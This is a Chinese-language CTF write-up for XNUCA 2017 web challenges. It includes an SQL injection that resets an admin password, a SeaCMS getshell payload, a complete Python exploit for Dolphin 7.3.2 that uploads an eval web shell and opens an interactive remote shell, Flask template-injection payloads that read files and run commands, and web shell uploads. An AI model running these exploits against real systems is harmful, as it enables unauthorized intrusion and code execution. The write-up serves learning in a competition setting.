XNUCA-WriteUp


XNUCA-2017

第一期WriteUp

——By TK-好名字

No.1 你喜欢颜文字么

点击重置密码,进入一个界面

用户名填admin 安全问题答案填 不喜欢,直接提交即可获得flag

No.2 让你无语的md5

右键查看源代码有提示

<!--pav1和lloowweerrxx经常因为用同一个账号而吵起来-->
<!--pav1建数据库喜欢用默认的latin1,lloowweerrxx写程序的时候set了一下utf8,他们好像又吵起来啦-->

可参考

http://www.freebuf.com/articles/web/124537.html
在查询栏中直接输入admin不行,要输入、

admin                          (后面跟一大串空格)

然后会提示

16714f297ee17b13a097a15cd229c947这个MD5有点不同啊,快去somd5一下!

百度一下 无语的md5,去这个网站直接查询

https://www.somd5.com/

获得flag

NO.3 Pav1和lloowweerrxx.avi

该题利用的FFmpeg的任意文件读取漏洞,利用方式可参考

http://www.freebuf.com/vuls/138377.html

下载脚本,直接执行

python3 attack.py file:///home/user/flag sxcurity.mp4

将生成的sxcurity.mp4直接上传,会跳转到download.php下载,之后获得一个视频文件,直接播放,前几帧中有flag

No.5愉快的玩耍吧

访问

/admin/login/login_check.php?met_cookie_filter[a]=a%27,admin_pass=md5(1234567)+where+id=1;+%23--

将admin密码改为了1234567

登陆后台

user:admin
password:1234567

更改网站配置

将上传文件重命名改为不勾选
将允许上传文件格式添加PHP与PHP5

发布–>下载—>文件或软件–>选择文件上传

传入php5大马,回显路径,直接访问。

找到flag并添加文件。

截图:

mark

mark

mark

No.8 看视频真嗨皮(读:50分,写:100分)

提交
关键字词:一档靶标题
===============================================================
周末看个电影放松一下吧!

海洋cms v6.45前台getshell漏洞

payload:

url:http://6f781364dedf5dc1eb877079f415877b.xnuca.cn/search.php?searchtype=5&tid=0&year=23334444);assert($_POST[1]);//
post:searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

phpinfo()正常执行。

通过system函数执行命令。
1
找flag位置
2
查询flag
3
创建文件
4

NO.9 The Best Community

Dolphin <= 7.3.2 绕过验证 + 远程代码执行

直接利用脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Software : Dolphin <= 7.3.2 Auth bypass / RCE exploit
Vendor : www.boonex.com
Author : Ahmed sultan (0x4148)
Home : 0x4148.com | https://www.linkedin.com/in/0x4148
Email : 0x4148@gmail.com
Auth bypass trick credit go to Saadat Ullah
'''
import os
import sys
import urllib
import urllib2
import ssl
import base64
print "[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit"
print "[+] Author : Ahmed sultan (0x4148)"
print "[+] Home : 0x4148.com\n"
if len(sys.argv)<2:
    print "\nUsage : python "+sys.argv[0]+" http://HOST/path/\n"
    sys.exit();
hosturl=sys.argv[1]
fields = {'csrf_token': 'Aint give a shit about csrf stuff ;)', 'submit_upload': '0x4148'}
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
def generate_http_request(fields):
    lmt = '---------------------------'
    crlf = '\r\n'
    x4148mltprt = []
    x4148mltprt.append('--' + lmt)
    if fields:
        for (key, value) in fields.items():
            x4148mltprt.append('Content-Disposition: form-data; name="%s"' % key)
            x4148mltprt.append('')
            x4148mltprt.append(value)
            x4148mltprt.append('--' + lmt)
    x4148mltprt.append('Content-Disposition: form-data; name="module"; filename="0x4148.zip"')
    x4148mltprt.append('Content-Type: application/zip')
    x4148mltprt.append('')
    x4148mltprt.append("PK\x03\x04\x0a\x00\x00\x00\x00\x00RanIj\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x000x4148fo.php"
    "<?php\x0d\x0aeval(base64_decode($_POST[\'0x4148\']));\x0d\x0a?>PK\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00RanIj"
    "\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x000x4148fo.php"
    "PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00:\x00\x00\x00[\x00\x00\x00\x00\x00")
    x4148mltprt.append('--' + lmt + '--')
    x4148mltprt.append('')
    body = crlf.join(x4148mltprt)
    content_type = 'multipart/form-data; boundary=%s' % (lmt)
    return content_type, body
content_type, body = generate_http_request(fields)
print " + Sending payload to "+hosturl.split("//")[1].split("/")[0]
req = urllib2.Request(hosturl+"/administration/modules.php",body)
req.add_header('User-agent', 'Mozilla 15')

req.add_header("Cookie", "memberID=1; memberPassword[]=0x4148;")
req.add_header('Referer', hosturl+"/administration/modules.php")
req.add_header('Content-Type', content_type)
req.add_header('Content-Length', str(len(body)))
req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
try:
    urllib2.urlopen(req,context=gcontext).read()
except urllib2.HTTPError, e:
    err=e.fp.read()
    print err
    sys.exit()
print " * Checking if payload was send"
data = urllib.urlencode({'0x4148':'echo "0x4148foooo";'.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
if urllib2.urlopen(req).read().find("0x4148foooo")==-1:
    print " - Exploitation failed"
    print req
    sys.exit()
print " + php prompt up and running\n + type 'shell' to get shell access"
while True:
    request=str(raw_input("\nphp>> "))
    if request=="exit":
        sys.exit()
    if request=="shell" or request=="cmd":
        print "\n + Switched to Shell mode\n + Type 'return' to return to php prompt mode"
        while True:
            cmd=str(raw_input("\n0x4148@"+hosturl.split("//")[1].split("/")[0]+"# "))
            if cmd=="return":
                break
            if cmd=="exit":
                sys.exit()
            kkk="passthru('"+cmd+"');"
            data = urllib.urlencode({'0x4148':kkk.encode('base64')})
            req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
            print urllib2.urlopen(req).read()
    data = urllib.urlencode({'0x4148':request.encode('base64')})
    req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
    print urllib2.urlopen(req).read()

No.11 两只小蜜蜂啊

直接后台弱口令

http://6b4d6f19e2505e939db9fe549355dffd.xnuca.cn/admin/admin.php
username: admin
password:admin

查资料可知有文件上传漏洞

服务器只检查了

Content-Type: image/jpeg

然后就将上传原文件的扩展名拼接到服务器的新文件中,然后返回了路径

img/201708261744154724.php

由于有360网站卫士,因此上传一个免杀一句话,然后用菜刀连接

http://41ff54ee00cc234605b67f6442c5a7e7.xnuca.cn/upload/img/201708261842507460.php

连接后直接终端执行命令

[/var/www/html/upload/img/]$ whereis flag
flag: /etc/flag.txt

获得读的flag,然后在按照要求上传指定文件名到writeHere目录下。
即可获得读和写的全部分数

NO.16 来一发flask

Flask的SQL注入,由于没法直接浏览器内修改数据,所以用Burpsuite抓包修改

Thx to @73696e65

GET /{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/flag.txt').read()}} HTTP/1.1

GET /{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from%20subprocess%20import%20check_output\n\nRUNCMD%20=%20check_output\n')}} HTTP/1.1

GET /{{config.from_pyfile('/tmp/owned.cfg')}} HTTP/1.1

GET /{{config['RUNCMD']('locate writeHere',shell=True)}} HTTP/1.1

GET /{{config['RUNCMD']('touch /../../.........',shell=True)}} HTTP/1.1

NO.21 Freecms

下载freecms-1.4的源码,查看后发现存在Struts2-045的漏洞,利用现成工具

mark

No.23 找入口(读:100分,写:200分)

提交
关键字词:二档靶标题
===============================================================
本站的基本职能是什么

找到网站后台,发现后台是弱口令username=admin&password=admin

wolfcms 任意文件上传

后台直接上传shell,根据前台的logo找到对应的路径。

按照上一题的套路查看flag,写文件。
5
6


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录